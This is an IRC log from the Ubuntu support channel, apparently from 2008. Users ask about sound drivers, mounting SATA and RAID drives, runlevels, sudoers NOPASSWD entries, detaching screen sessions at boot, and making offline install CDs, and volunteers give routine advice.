[00:00] <Satirenine97531_> Hi, I have a Creative Labs SB X-Fi and I just installed the latest version of Ubuntu.  How do I make sound work?
[00:01] <h4x0r> T2:Did Anything Change
[00:02] <Yancho> Can I put a screen (execute a command and detach) to load at bootup please?
[00:02] <PrasTyDioOn> 	
[00:02] <PrasTyDioOn> someone could show me a tutorial installing ubuntu 8.04 with windows xp already installed!
[00:02] <PrasTyDioOn> ?
[00:02] <FloodBot2> PrasTyDioOn: Please don't flood, use http://paste.ubuntu.com to paste, don't use Enter as punctuation.
[00:02] <Durayne> it works automatically doenst it?
[00:02] <Cabezon> satirenine:  i have the same problem :)
[00:03] <Cabezon> you have to run an installer file
[00:03] <Cabezon> but, you have to go to the directory you've unpacked the tar.gz file and run sudo ./installer
[00:03] <h4x0r> T2:Are You Still Here
[00:03] <Satirenine97531_> Cabezon: You were able to get it to work?
[00:03] <Cabezon> my problem is, it comes back after finding GCC and says the C compiler cannot create execuatbles
[00:04] <Doonz> !pastebin
[00:04] <jrib> Cabezon: install build-essential
[00:04] <Cabezon> jrib:  is that the command i type?
[00:05] <Doonz> can someone help me with try to mount my raid array... not sure what the msg means http://paste.ubuntu.com/43484/
[00:05] <jrib> Cabezon: no.  sudo apt-get install build-essential
[00:05] <jrib> !apt > Cabezon
[00:05] <fulld> hello I am using xubuntu (alt install). wpa supplicant is installed and I can see my network in the systray widget, but how do I configure WPA?
[00:05] <T2> h4x0r: yes i'm in ubuntu using the live cd now, i tried youtube asked me to install adobe flash player so i am going to download this from the web instead of using the synaptic pakager this time
[00:06] <T2> i'll tell u how it goes
[00:06] <h4x0r> T2:Ok
[00:06] <compu73rg33k> could someone please read my networking problem that I've posted here: http://ubuntuforums.org/showthread.php?p=5728606#post5728606 adn try to help me out?
[00:06] <Guest88090> uh
[00:06] <Guest88090> T2 dont do that man
[00:06] <Guest88090> adobe doesn't provide any ubuntu packages on their website last i checked
[00:07] <kitche> the issue with Flash on Ubuntu is pulseaudio really pulse audio is a major fail right now
[00:07] <h4x0r> Guest88090: The Actually Do
[00:07] <Cabezon> jrib:  thanks much....it's been driving me nuts :)  i recently installed ubuntu after going for a few years outside of any *nix system, so i've had to jog my memory on a few things
[00:07] <Guest88090> h4x0r, cool, they didn't before
[00:08] <Guest88090> it was really confusing when people went to youtube and were directed to this download page, and they could only get rpm or source packages
[00:08] <h4x0r> Guest88090: Its Nice That They Finaly Put It Up
[00:08] <powertool08> what file do I edit to disable daemons at startup?
[00:08] <jrib> powertool08: system -> administration -> services, or read 'man update-rc.d', or use sysv-rc-conf
[00:08] <Guest88090> because youtube has this script running and doesnt even attempt to play any flash files unless you have it insalled
[00:09] <powertool08> jrib: thanks
[00:10] <Doonz> can someone help me with try to mount my raid array... not sure what the msg means http://paste.ubuntu.com/43484/
[00:10] <RYknow> Hey guys, I need some help getting my SATA drives to mount.
[00:10] <RYknow> Gives me an error saying I don't have permission to mount the drives.
[00:11] <Doonz> sudo mount
[00:11] <Trinithis> What is the command line way of opening a pdf file... I can't figure out the name of the binary
[00:11] <jrib> Trinithis: just use gnome-open or xdg-open.  But 'evince' is the default pdf viewer
[00:11] <Trinithis> ah thx
[00:11] <cryingtux> hello
[00:12] <cryingtux> i have a distorted display after nvidia driver installation on hardy
[00:12] <cryingtux> is there any fix for that?
[00:13] <RYknow> Anyone be able to help me mount a couple HD's?
[00:13] <webfarmer> does anyone know how to get the routers SSID using ubuntu
[00:14] <webfarmer> I have a D-LINK ADSL Router
[00:14] <webfarmer> really need the SSID
[00:14] <webfarmer> can't find it anywhere
[00:14] <webfarmer> even on the routers admin web console
[00:14] <davidstrauss__> Is there a good dnsmasq IRC channel?
[00:14] <Cabezon> well, i got farther than before, but it still came back make: *** [all/install] Error 2
[00:15] <kitche> webfarmer: probably dlink if you didn't set it
[00:16] <mrkiko> Hi all! Can someone tell me why kernels shipped with ubuntu will name even ide disk as /dev/sx?, even if scsi emulation is not active? Yes, I looked the config file...
[00:16] <tuxito> !cups
[00:17] <k3rnelpanic> glitsj16: you still there?
[00:17] <kitche> mrkiko: because that's how linux names drives now
[00:17] <RYknow> Need some help getting my SATA drives to mount? Can anyone help?
[00:17] <kitche> mrkiko: the driver is called libata
[00:18] <Miyavix3> Does anyone know a channel for networking problems?
[00:18] <mrkiko> kitche: ... but if I compile my vanilla kernel, I can see sata disk as /dev/sd? and ide ones as /dev/hd?, as it always has been
[00:18] <kitche> mrkiko: yes because you didn't enable libata which is the new driver, when you built your own kernel you used the older driver
[00:18] <k3rnelpanic> has anyone had problems downloading pkg files when upgrading to hardy from gutsy? i need 2 pkgs and they wont download, not even manually
[00:19] <mrkiko> kitche: ah ok... but will libata handle even old ide disks?
[00:19] <kitche> mrkiko: yes, just will name them /dev/sdX
[00:19] <mrkiko> kitche: thank you. Aniway what's the correct option' I can see libata loaded in my dmesg
[00:20] <mrkiko> and the ata_piix module I'm using is handling my sata disks using libata it seems
[00:20] <kitche> mrkiko: either way but soon the old way is actually being removed from the kernel
[00:20] <Miyavix3> Does an IRC chat for wireless help exist?
[00:20] <Doonz> sudo mount
[00:20] <Doonz> can someone help me with try to mount my raid array... not sure what the msg means http://paste.ubuntu.com/43484/
[00:21] <Scunizi> Miyavix3: if is't ubuntu related.. right here.
[00:21] <cryingtux> so anybody knows how to fix display issue for hardy?
[00:21] <Miyavix3> It's not
[00:21] <T2> Guest88090: why did you not want me to install adobe flash player
[00:21] <djhash> Miyavix3: join #networking
[00:21] <Scunizi> Miyavix3: try #wireless.. I just logged in there and there are 66 people.
[00:21] <T2> h4x0r: still no luck no sound
[00:22] <k3rnelpanic> can someone check if any of these mirrors work to download. i get the window to save or open but then it doesnt dl and hangs. http://packages.ubuntu.com/hardy/i386/usplash-theme-ubuntu/download
[00:22] <vinu76jsr> I have video problems with my hardy
[00:22] <h4x0r> T2:thats strange Do You Have Good Conections
[00:22] <Guest88090> T2 nvm, it was the method i was objecting against
[00:22] <Guest88090> but apparently adobe has finally updated
[00:23] <T2> Guest88090: do you instead like installing packages from the syanptic pakager?
[00:23] <vinu76jsr> @k3rnelpanici got it downloaded only 76 kb
[00:23] <jimdb> anyone know of a solid guide on how to get the original iphone working with ubuntu 8.04?
[00:23] <T2> h4x0r: yes very good connection
[00:23] <k3rnelpanic> vindictive: the whole thing?
[00:23] <vinu76jsr> ya
[00:23] <k3rnelpanic> mine sometimes downloads only 30% then hangs :-/
[00:24] <k3rnelpanic> vindictive: can you download this one then? http://packages.ubuntu.com/hardy/i386/brasero/download
[00:24] <zynergi> wow
[00:24] <zynergi> when did JustEdge stop hosting IRC
[00:24] <h4x0r> T2:Did You Try The Headphone Port
[00:24] <powertool08> if a service is listed as running in runlevel 4 and 5 does that mean its started in 4, and a second instance is started in 5?
[00:25] <k3rnelpanic> oops i meant vinu76jsr not vindictive
[00:25] <k3rnelpanic> damn auto complete :P
[00:25] <Starnestommy> powertool08: that means that it starts if your system starts in runlevel 4 or runlevel 5
[00:25] <powertool08> or is it more like it runs only in the checked runlevels so if 2,3,4 are checked it starts it 2, runs in 3 and stops in 4?
[00:26] <Guest88090> T2, yes that's usually the best way
[00:26] <mrkiko> kitche: I'll try it now
[00:26] <T2> h4x0r: yes, still no sound is there packages that i may need to install like libasound or other prepacked programs in ubuntu?
[00:26] <k3rnelpanic> vinu76jsr: you still there?
[00:26] <vinu76jsr> @k3rnelpanic ya 683 kb
[00:26] <powertool08> Starnestommy: so during bootup the service starts in 4, then the system goes to runlevel 5 and if the service is already running from 4 it does nothing, otherwise it starts it?
[00:27] <vinu76jsr> i m using kernel.org mirror
[00:27] <Starnestommy> powertool08: I think it might be stopped thenh started again
[00:27] <Starnestommy> *then
[00:27] <h4x0r> T2:Everything Should be working.
[00:27] <kitche> powertool08: starts in all of them starts in 2 starts in 3 starts in 4. the runlevels won't work unless you go to that runlevel with init
[00:27] <k3rnelpanic> vinu76jsr: i trued that, and about 10 other ones. could you email me the 2 pkgs maybe?
[00:28] <vinu76jsr> tell me your id
[00:28] <djhash> hey.. is there a way to revert to the state of ubuntu when it was cleanly installed? i'd rather not go through a full format and re-installation...
[00:28] <T2> h4x0r: how about sound drivers how do i check my driver in ubuntu
[00:28] <k3rnelpanic> K3rnel.panic@yahoo.com
[00:29] <powertool08> Starnestommy: then why are things like kdm, klogd, hal checked in almost all runlevels? isn't that excessive stopping and starting? or is it to ensure its running no matter which runlevel you go to?
[00:29] <h4x0r> T2:system adminastration Hardware drivers
[00:29] <Starnestommy> powertool08: it's to make sure that they're always runnig except in single-user mode or runlevel 1
[00:30] <T2> h4x0r: says no proprietary drivers used on this application
[00:30] <Starnestommy> powertool08: usually, you wouldn't need to use anything besides runlevels 0, 2, or 6
[00:30] <user_> Hey!
[00:30] <powertool08> Starnestommy: ok, thanks
[00:30] <user_> So I'm installing Ubuntu Hardy on my brother's laptop. Will Wireless work because he always uses wireless?
[00:30] <T2> h4x0r: says no proprietary drivers are in use on this system
[00:31] <usser> user_, why dont u consult the list of supported hardware
[00:31] <johnny_mnemonic> okay this has stumped me for a while: I have proftpd will start fine when I do sudo /etc/init.d/proftpd start but at boot, it won't work, it says failed processing config file at /etc/proftpd/proftpd.conf
[00:31] <jrib> user_: depends on the wireless card really.  You should wait and see
[00:31] <usser> !wifi | user_
[00:32] <h4x0r> T2: Then It should be working
[00:32] <ckyle> user_: wireless worked by default on my IBM Thinkpad laptop...
[00:33]  * mrkiko wonders if he will be able to see his ide disk after the kexec :D
[00:34] <vinu76jsr> k3rnelpanic packages sent
[00:34] <user_> But if his Wireless card is not supported, is there a way to make it work? :S
[00:34] <jrib> user_: the docs tell you how
[00:35] <user_> Oh, ok! xD :D =]
[00:35] <user_> Btw, why is Wireless a problem with Ubuntu? If Windows can do it, then why not Ubuntu? :/
[00:35] <jrib> user_: hardware manufacturers are unfriendly
[00:35] <vindictive> how would I use sudo to allow a user to execute a perl script without having to input password or anything
[00:36] <mrkiko> Ok guys - with those new ignore settings I may be able to reply even to messages someone of you may write to me
[00:36] <h4x0r> T2: I Need To Go. Sorry. I Have To Go. Kids Birthday
[00:36] <qr> vindictive: man sudoers for all you ever need to know about how to do that
[00:36] <starenka> vindictive: f.e there are no harware specifiactions and hw vendors dont ship linux drivers? :)))
[00:36] <chino> how do i download a deb and all it's dependencies for storage ?
[00:36] <Bruners> hi, this might not be a directly ubuntu question but here goes, im getting some wierd bugs on 4chan.org and only when using styles, screenshot http://lasseb.tihlde.org/firefox.png . anything i can do to fix this? Firefox 3.0.1 & Ubuntu 4.2.3-2
[00:36] <jrib> vindictive: did you try using NOPASSWD in sudoers for it?  (see 'man sudoers' if you have not)
[00:36] <T2> h4x0r: ok no worries
[00:36] <k3rnelpanic> vinu76jsr: that is unbelievable. i download any other pkg and its fine. but those 2 for some reason will not download :-/ from any source even yahoo mail
[00:36] <vinu76jsr> ok wait a minute
[00:37] <noname12> I want to install ubuntu for a friend who has poor internet access.  Is there a way to get all the updates to 8.04, and put them on a CD or DVD?
[00:37] <vindictive> jrib: yeah, I tried NOPASSWD and I even specified the path to the script... still no luck... what happens if the script I let the user execute is privilaged?
[00:37] <mrkiko> chino: apt-get -f --download-only install name
[00:37] <mrkiko> or, if you have the package
[00:37] <T2> can anyone help me with getting sound up on firefox through ubuntu?
[00:37] <k3rnelpanic> noname12: just download the 8.04 iso
[00:37] <jrib> vindictive: what do you mean by "privileged"?
[00:37] <vindictive> jrib: so I create a shell script that allows the user to turn off and on services... how does that work?
[00:37] <mrkiko> apt-get -f --reinstall --download-only install package
[00:38] <mrkiko> apt-get -f --reinstall --download-only install package...
[00:38] <mcquaid> ok samba was bugging me so I sent up an anonymous ftp using VSFTP, i don't want to muck with users, I just set it up to allow anonymous access
[00:38] <rconan_> what can i do about a hidden file in one of my ntfs filesystems called .fuse_hiddenXXXXXXXXXXXXXXXXX, where Xs are all digits? When i delete it it just gets replaced by the same with a higher number. I can't delete the folder it is in because it is not empty.
[00:38] <noname12> k3rnelpanic: Yes, but after installing it, I would need to update the packages, and as I said, his link sucks.
[00:38] <mcquaid> but I don't want to upload to /home/ftp i want to upload to another partition entirely
[00:38] <vindictive> jrib: my entry looks like this:  user		ALL=NOPASSWD:	/opt/scripts/serviceHelper.pl
[00:38] <chino> mrkiko:  -f and --force-yes dont work
[00:38] <AngryChad> sudo apt-get remove republicans
[00:38] <mcquaid> so I made a sym link under /home/ftp to the part where I want to upload files but it's not allowing that
[00:38] <histo> rconan_: its created by fuse which you are using the read the filesystem.
[00:39] <vinu76jsr> kernalpanic try this http://profile.iiita.ac.in/IIT2006117/braseroandusplash.zip
[00:39] <glitsj16> noname12: there's a package called aptoncd that might be of use in that situation
[00:39] <histo> mcquaid: does the user have permissions to the target?
[00:39] <jrib> vindictive: you need some spaces
[00:39] <mcquaid> is there somewhere to explicitly specify which dirs one wants to use with VSFTP?
[00:39] <histo> mcquaid: permissions to the symlink won't matter
[00:39] <histo> mcquaid: you may want to check /etc for a config file
[00:39] <mrkiko> chino: 'don't work' doesn't help me understand why
[00:39] <mcquaid> yes rw all on the target
[00:39] <vinu76jsr> noname12 or we can set apt-proxy
[00:39] <rconan_> histo, how can i delete the folder with it in? It wont go away.
[00:39] <mcquaid> yes i've checked the config file
[00:39] <histo> rconan_: rm -r
[00:39] <chino> mrkiko:  cause -f is not force
[00:39] <mrkiko> chino: PM me if you can
[00:40] <histo> rconan_: rm -rf foldername
[00:40] <firelog> Question:  what's a good app to view csv files with?       (something simplistic that'll replace Excel)
[00:40] <rconan_> histo, that gives: rm: cannot remove directory `foldername': File exists
[00:40] <histo> firelog: open office calc
[00:40] <mrkiko> firelog: gnumeric / oleo?
[00:40] <firelog> histo, is there something more lightweight?
[00:40] <histo> rconan_: yeah you would replace foldername withthe name of the folder
[00:40] <jrib> vindictive: here is mine:   jrib ALL = NOPASSWD: /usr/local/bin/revoco
[00:40] <histo> firelog: try searching synaptic perhaps?
[00:41] <firelog> mrkiko, histo:  thanks much!
[00:41] <T2> can anyone help
[00:41] <mcquaid> i can't even look in the sym linked dir via ftp, it just says failed to open
[00:41] <rconan_> histo, i did, sorry that was a little ambiguous
[00:41] <ScheissDrogen> 2222!ask
[00:41] <vindictive> thanks jrib
[00:41] <vindictive> jrib: I give it a shot
[00:41] <k3rnelpanic> vinu76jsr: haha thanks man, so why wouldnt those files download? how are they being blocked?
[00:41] <Yancho> Anyone can help me with this script please : http://pastebin.com/d443dca1 ? I'm trying to screen a process from init.d .. the file is +x and is owned by root
[00:41] <ScheissDrogen> !ask > T2
[00:41] <histo> rconan_: is it possible you don't have write access to the ntfs drive?
[00:42] <MortenB_> anyone know how far away alpha 5 still is?
[00:42] <rconan_> histo, no
[00:42] <vinu76jsr> dont know maybe something with your firewall or gmail permissions,u know they block .exe files
[00:42] <histo> rconan_: okay well what is the exact error you get? file exist?
[00:43] <rconan_> histo, if i try to delete the directory, yes, if i delete the file it just comes back with a different number
[00:43] <Jordan_U> Yancho: su creates a new shell, the other commands in your script won't execute until after that shell exits, same with screen
[00:43] <RadishRabbit1> how to start a job in ssh that keeps running after you log out?
[00:44] <Jordan_U> RadishRabbit1: command & disown
[00:44] <mrkiko> RadishRabbit1: with some versions of bash I was doing it with the standard & operator. Unless, try dtach
[00:44] <noname12> glitsj16: thanks, aptoncd looks very promising!
[00:44] <k3rnelpanic> vinu76jsr: hmm but i tried other deb files and they downloaded fine
[00:44] <Ensamblador> asdasd
[00:44] <k3rnelpanic> weird, really weird
[00:44] <histo> rconan: I have no idea wth that means file exist. You should be able to delete a directory with rm -rf
[00:45] <Yancho> Jordan_U so how should i go about it .. do u have any points pelase?
[00:45] <k3rnelpanic> vinu76jsr: thanks a lot for the help i'm gonna try and upgrade to hardy now
[00:45] <glitsj16> noname12: you're welcome, something i've used on machines with poor or no connection, works great
[00:45] <Jordan_U> Yancho: You probably want to use "su -c" and "screen <command>"
[00:45] <rconan> histo, well as i have now learnt those files are ones which have been deleted but are still in use by a program. apparently fuse doesn't hide these from the user. lsof to find out which program then closing and restarting it has fixed the issue
[00:46] <Yancho> so there is no need to detach screen ?
[00:46] <histo> rconan: that would make sense then.
[00:46] <spadewarrior> Hi. Is there a way to add custom commands to the thunar/xfce context menu?
[00:46] <meoblast001> what is this
[00:46] <meoblast001> kdenlive: / / / / / SAVING RECOVERY FILE
[00:46] <meoblast001> KCrash: Application 'kdenlive' crashing...
[00:46] <rconan> histo, it seems the deluge web interface has a bug where it didn't close the file
[00:47] <vinu76jsr> ya upgrade, after all its free
[00:47] <glitsj16> spadewarrior: thunar has 'custom actions', reachable via the edit menu
[00:47] <spadewarrior> glitsj16, thanks! I'll take a look there
[00:47] <k3rnelpanic> vinu76jsr: yea i couldnt cause of those 2 files, now it should work....hopefully
[00:47] <vinu76jsr> anybody how to configure samba to authenticate via ldap
[00:48] <Yancho> Jordan_U something like this : http://pastebin.com/d27965a58 ?
[00:48] <Karkuk> sorry got DC
[00:48] <noname12> glitsj16: so I guess the idea is, I have to have a machine that already has the desired packages installed and cached on it?  Then aptoncd will copy them from the cache to a disk...  Are packages normally left in the cache after installing/upgrading?
[00:49] <grizlo42> if flash 4 linux any good
[00:49] <grizlo42> ?
[00:49] <glitsj16> noname12: yes, that's exactly how it works .. unless you changed the defaults apt caches packages
[00:49] <vinu76jsr> @kernalpanic it'll work for sure
[00:49] <Jordan_U> Yancho: Not quite, su -c takes the command to be run as a parameter, the same way screen is, so it should all be on one line
[00:49] <mrkiko> kexecking
[00:49] <vinu76jsr> ?????vmware for hardy?????
[00:49] <glitsj16> noname12: they're at /var/cache/apt/archives
[00:50] <Yancho> su -c screen tracd -p 8000 --basic-auth=thesis,/usr/local/trac/thesis/.htpasswd,/usr/local/trac/thesis /usr/local/trac/thesis & <- like this?
[00:50] <Yancho> Jordan_U but that will start as user root not as user yancho no?
[00:50] <Falstaff_> On another ubuntu system I found a program that allowed me to change the monitor settings I thinik it was some kindo of kde program ... can someone help me find the program again??
[00:50] <Jordan_U> Yancho: You need to put quotes around the command so it doesn't interpret it as multiple arguments
[00:51] <ScheissDrogen> Falstaff: displayconfig-gtk
[00:51] <Yancho> ow great :)
[00:51] <Jordan_U> Yancho: You can still pass another argument for the user to run it as
[00:51] <vinu76jsr> who was vinoo
[00:51] <Falstaff_> Thank you very much!!
[00:51] <CaptainMorgan> how can I control temperatures? I ran top but it only showed me some programs there using at most 10% of the CPU... although my system was on all day, it was abnormally hot and I can't figure out why
[00:51] <ScheissDrogen> Falstaff: backup xorg.conf before using
[00:52] <Yancho> Jordan_U something like this ey : su -u yancho -c "screen tracd -p 8000 --basic-auth=thesis,/usr/local/trac/thesis/.htpasswd,/usr/local/trac/thesis /usr/local/trac/thesis &" ?
[00:52] <noname12> glitsj16: Hmm...  I only have 149 packages in that directory, hard to believe that's all I've installed or upgraded...  Maybe I cleaned it at some point?  (Does it ever get cleaned automatically?)
[00:52] <Yancho> Jordan_U without the -u :)
[00:52] <ScheissDrogen> CaptainMorgan: install lmsensors, use conky
[00:52] <CaptainMorgan> lmsensors?
[00:53] <ScheissDrogen> CaptainMorgan: package to read from hw-chips
[00:53] <Jordan_U> Yancho: That looks close, I am not sure that the '&' will background the app since you are not passing the command to a shell but directly to screen, is there a reason for backgrounding the command?
[00:53] <glitsj16> noname12: synaptic has a menu item to clean those out yes, i don't know for sure if apt does that automatically
[00:53] <Yancho> Jordan_U nope .. trying to remove it
[00:54] <CaptainMorgan> ScheissDrogen, synaptic is only showing me wmsensors.... should I install that?
[00:54] <k3rnelpanic> i love how you can upgrade your whole system while still using it :-D
[00:55] <Karkuk> Anyone here is familiar with unicode and iso's?
[00:55] <Yancho> Jordan_U i ran the script but it loaded the screen and did not detach .. should i do ; after the first command and then screen -d ?
[00:55] <Jordan_U> !anyone | Karkuk
[00:56] <ScheissDrogen> ﻿k3rnelpanic: what are you currently using ? hardy ?
[00:56] <glitsj16> noname12: if the machine you're going to install the packages on is a different ubuntu version, there are other options, like uck (uck.sourceforge.net) to roll your own bootable liveCD with additional stuff you choose
[00:56] <CaptainMorgan> ScheissDrogen, synaptic is only showing me wmsensors.... should I install that?
[00:56] <vinu76jsr> vmware server or even vmware player  for hardy**** where's the deb
[00:56] <zack1403> hey all, is it possible for a bash script to provide input for a program? Ie, act as if I am typing a password and pressing enter
[00:57] <Karkuk> Basically my language has special charectors that are not for Linux all together. I was wondering if someone has some idea so that they can guide me where to start to encode my language so that it can be used for Linux
[00:57] <Jordan_U> Yancho: Just use screen -d to start it detached
[00:57] <ScheissDrogen> CaptainMorgan: lm-sensors
[00:57] <Bruners> this might not be a directly ubuntu question but here goes, im getting some wierd screen bugs on some pages and only when pagestyles is enabled, screenshot http://lasseb.tihlde.org/firefox.png . anything i can do to fix this? Firefox 3.0.1 & Ubuntu 4.2.3-2
[00:57] <Jordan_U> Yancho: so screen -d <command>
[00:57] <ScheissDrogen> CaptainMorgan: see also : conky  and gkrellm
[00:58] <Jordan_U> Yancho: Wait, nvm
[00:58] <Yancho> Jordan_U : su yancho -c "screen -S tracdimon -d tracd -p 8000 --basic-auth=thesis,/usr/local/trac/thesis/.htpasswd,/usr/local/trac/thesis /usr/local/trac/thesis" ?
[00:58] <Fused> Guys, I had Fluxbox 1.0.0-3 installed on my Ubuntu system. Well, I found out that Fluxbox has a newer version (1.1.0.1) and I downlaoded & installed it. Then I removed the 1.0.0-3 version. If I do "fluxbox -v", it shows that I have Fluxbox 1.1.0.1 properly installed; however, when I logout or restart to attempt to change my session to Fluxbox, it isn't in the list of available sessions.
[00:58] <Fused> Anyone know what to do from this point?
[00:58] <ScheissDrogen> CaptainMorgan: search adept looking up lm
[00:58] <kitche> Fused: make the fluxbox.xsession file most likely
[00:58] <Fused> How would I go about doing that, kitche?
[00:58] <jrib> Fused: there are directions in the fluxbox docs on their site
[00:58] <k3rnelpanic> ScheissDrogen: im currently on 7.10 gutsy upgrading as we speak to hardy
[00:58] <Yancho> Jordan_U -d is trying to reconnect with another
[00:59] <vinu76jsr> do do do - it
[00:59] <noname12> glitsj16: Thanks.  I have another system I need to install (that does have a good link), so I guess I'll use that for aptoncd.  Thanks again!
[00:59] <k3rnelpanic> well its doing it, could of had this a week ago but those 2 damn pkgs wouldnt download. i was at nerves end
[00:59] <k3rnelpanic> lol
[00:59] <Jordan_U> Yancho: Make that "screen -d -m <command>"
[00:59] <jrib> Fused: here you go: http://fluxbox-wiki.org/index.php/GDM
[01:00] <meoblast001> ok.. i gave my friend an ubuntu disk that worked on my sisters computer.... and it says Invalid Disk on his computer
[01:00] <meoblast001> wtf's up?
[01:00] <ScheissDrogen> ﻿k3rnelpanic: though there are working howtos, if you don't have a large amount of data with no way to backup (e.g. extra parti on large HD) i would prefer a fresh install, for apps see !cloning
[01:00] <jrib> meoblast001: did you run "verify the integrity of the cd" from the cd's boot menu?
[01:00] <vinu76jsr> meoblast :  may be it's a different architecture
[01:00] <meoblast001> vinu76jsr: he said he has intel
[01:01] <meoblast001> this is i386
[01:01] <Yancho> Jordan_U it didnt detach .. i ended up seeing the output
[01:01] <almostdvs> firefox does a search from my isp when something is typed into the location bar that is not an address. On windows it does an I'm feeling lucky search. How do i obtain the same functionality
[01:01] <td123> meoblast001: that's not architecture, he means 32 or 64 bit...
[01:01] <meoblast001> i gave him a 32 bit
[01:01] <vinu76jsr> kernelpanic : then i did something good today
[01:01] <Jordan_U> Yancho: what is the exact command you are running now?
[01:01] <ScheissDrogen> ﻿ meoblast001:did you/he used the self check option from cd bootup ??
[01:01] <td123> meoblast001: what kind of computer does your friend have?
[01:01] <vinu76jsr> i mean his architecture
[01:01] <k3rnelpanic> ScheissDrogen: yea i dont have much on my linux partition. its mainly in xp. so if it f's up no big loss
[01:01] <meoblast001> td123: emachines
[01:01] <vinu76jsr> 32 64 sparc
[01:02] <ethana2> every time i boot up, my system says something about my fs
[01:02] <ScheissDrogen> !cloning > ﻿k3rnelpanic
[01:02] <ethana2> followed by 'not automatically fixing this'
[01:02] <Fused> Create the file: /etc/gdm/Sessions/fluxbox with contents:
[01:02] <Fused> There is no /etc/gdm/Sessions
[01:02] <meoblast001> td123: the disc said 30 defective packages on my sisters computer but everything worked fine and there are no problems on her computer
[01:02] <jrib> ethana2: you need to write down the exact error message
[01:02] <Jordan_U> Fused: Is this a laptop?
[01:02] <jrib> ethana2: or take a picture
[01:02] <Fused> Desktop.
[01:02] <ethana2> jrib: where's the boot log?
[01:03]  * ethana2 is looking through /var/log for it
[01:03] <ScheissDrogen> ﻿k3rnelpanic: i would set up an extra parti for user data.. how big is your hd ? space for ubuntu ?
[01:03] <almostdvs> firefox does a search from my isp when something is typed into the location bar that is not an address. On windows it does an I'm feeling lucky search. How do i obtain the same functionality
[01:03] <Yancho> Jordan_U : su yancho -c "screen -d -m -S tracdimon; tracd -p 8000 --basic-auth=thesis,/usr/local/trac/thesis/.htpasswd,/usr/local/trac/thesis /usr/local/trac/thesis"
[01:03] <Schuenemann> hey, how do I get out of qemu's window after I click inside it?
[01:03] <td123> meoblast001: ... it doesn't matter what you did, the problem is that it has 30 defective packages... and some other parts of the disk, (not packages) have been corrupt and are dangerous... you should throw that cd away and create one that has no errors
[01:04] <meoblast001> td123: my CD burner broke
[01:04] <jrib> ethana2: check dmesg
[01:04] <meoblast001> td123: how do i convert ppl to ubuntu now?
[01:04] <Yancho> Jordan_U foudn the problem .. the ; after tracdimon :)
[01:04] <td123> meoblast001: then use windows till you can get one
[01:04] <ethana2> jrib: how do i do that?
[01:04] <Jordan_U> Yancho: No semicolon, the reason you are seeing the output is not because the screen is attached but because you aren't running the command in screen :)
[01:04] <k3rnelpanic> ScheissDrogen: yea, like i said i have hardly anything in ubuntu apart from like 4 songs and 3 photos but i understand what you're saying
[01:04] <meoblast001> td123: i give up... ppl probably dont even want ubuntu anyways
[01:04] <Fused> jrib: /etc/gdm/Sessions doesn't exist as a directory, and that's where it's telling me to put the fluxbox file.
[01:04] <jrib> ethana2: type 'dmesg'.  Check /var/log/messages too
[01:04] <ethana2> k
[01:04] <Yancho> thanks alot for ur help Jordan_U :))) ill try to restart the pc to see if it works now
[01:04] <ScheissDrogen> ﻿k3rnelpanic: space for ubuntu ?
[01:05] <jrib> Fused: create it.  If it doesn't work, then find out where the fluxbox in the repositories put its session file
[01:05] <Jordan_U> Yancho: np, it can be tricky stiringing commands together like that :)
[01:05] <td123> meoblast001: do you even help them (support / resources)
[01:05] <almostdvs> meoblast001: http://tombuntu.com/index.php/2008/08/27/create-a-bootable-usb-drive-or-memory-card/
[01:05] <jrib> Fused: hint: /usr/share/xsessions/
[01:05] <meoblast001> lost my USB drive
[01:05] <meoblast001> USB flash
[01:05] <meoblast001> whatever its called
[01:06] <Fused> So I need to make one fluxbox.desktop
[01:06] <Fused> With the file contents on that page?
[01:06] <jrib> Fused: sure
[01:06] <k3rnelpanic> ScheissDrogen: 20gb or so
[01:06] <td123> meoblast001: then just throw that cd away, and I would reinstall your sisters os because using a defective cd has soo much potential damage... (corrupt packages are the least of your worries)
[01:06] <vinu76jsr> anybody know vmware server for hardy
[01:07] <jrib> Fused: use the "There is another way" method
[01:07] <ScheissDrogen> ﻿k3rnelpanic: do a fresh install then
[01:07] <td123> meoblast001: you should know these things before even laying a hand on another person's computer
[01:07] <vinu76jsr> ScheissDrogen : 1
[01:07] <Karkuk> I cannot find my language script on any of Linux distribution and I would like to develop one. I am wondering if anyone has any idea on how to go on about this?!
[01:07] <k3rnelpanic> ScheissDrogen: its already upgrading
[01:07] <meoblast001> td123: she needed the computer fixed immediately
[01:07] <ScheissDrogen> !grub > ﻿k3rnelpanic
[01:08] <meoblast001> im having a terrible day
[01:08] <td123> meoblast001: then your job is to get an uncorrupt cd
[01:08] <meoblast001> td123: where
[01:08] <ethana2> jrib: neither are showing me what I'm looking for
[01:08] <td123> meoblast001: ask a friend if you can burn something...
[01:08] <meoblast001> ted123: wait 3 fucking weeks for canonical?
[01:08] <jrib> ethana2: then just reboot and write it down
[01:08] <RYknow> Can someone help me out. I've got a strange problem with mounting my SATA drives.
[01:08] <ethana2> it goes by too fast to even read it
[01:08] <jrib> meoblast001: you can buy one on amazon or ask your local LUG
[01:08] <Pici> meoblast001: No need for that language
[01:09] <ScheissDrogen> ﻿k3rnelpanic: already upgrading ? changed sources.list ? the f.. is you'll never can be 100% shure what is causing a prob...
[01:09] <Jordan_U> !ohmy | meoblast001
[01:09] <RYknow> I've been able to get one of them to mount, but I can't get the second one to mount.
[01:09] <ethana2> jrib: it's not logged anywhere?
[01:09] <ferran_> Hi! can someone help me with an hdd problem?.... "can't read superblock"
[01:09] <meoblast001> td123: "hey.. im gonna send you a 700 meg file and your gonna download it and burn it to a CD"... yeah.. that will work considering most of my friends dont like me that much
[01:09] <jrib> ethana2: those are the two places I know to look
[01:09] <meoblast001> do i even have real friends
[01:09] <ethana2> hmm
[01:09] <meoblast001> jrib: poor
[01:09] <ethana2> meoblast001: pay them
[01:09] <ethana2> oh
[01:09] <jrib> ethana2: I think you can press the PAUSE|BREAK button on your keyboard
[01:09] <RYknow> I don't even know how I got it to mount.
[01:09] <ethana2> hmmmm
[01:09] <IndyGunFreak> meoblast001: why can't you just download the Cd ?
[01:09] <td123> meoblast001: then your job is to find some friends that will like you....
[01:09] <ScheissDrogen> ﻿ RYknow:paste output fdisk -l  and your fstab
[01:10] <meoblast001> IndyGunFreak: why cant i just download a CD burner
[01:10] <ScheissDrogen> paste
[01:10] <WDC> How do I connect a USB device in Vbox when it's grayed out?
[01:10] <Fused> Okay. I have the fluxbox.desktop in /usr/share/xsessions
[01:10] <Fused> Question, though.
[01:10] <jrib> meoblast001: find a friend with a cd burner or ask your local LUG
[01:10] <ferran_> can someone help me with an hdd problem?.... "can't read superblock"
[01:10] <meoblast001> LUG?
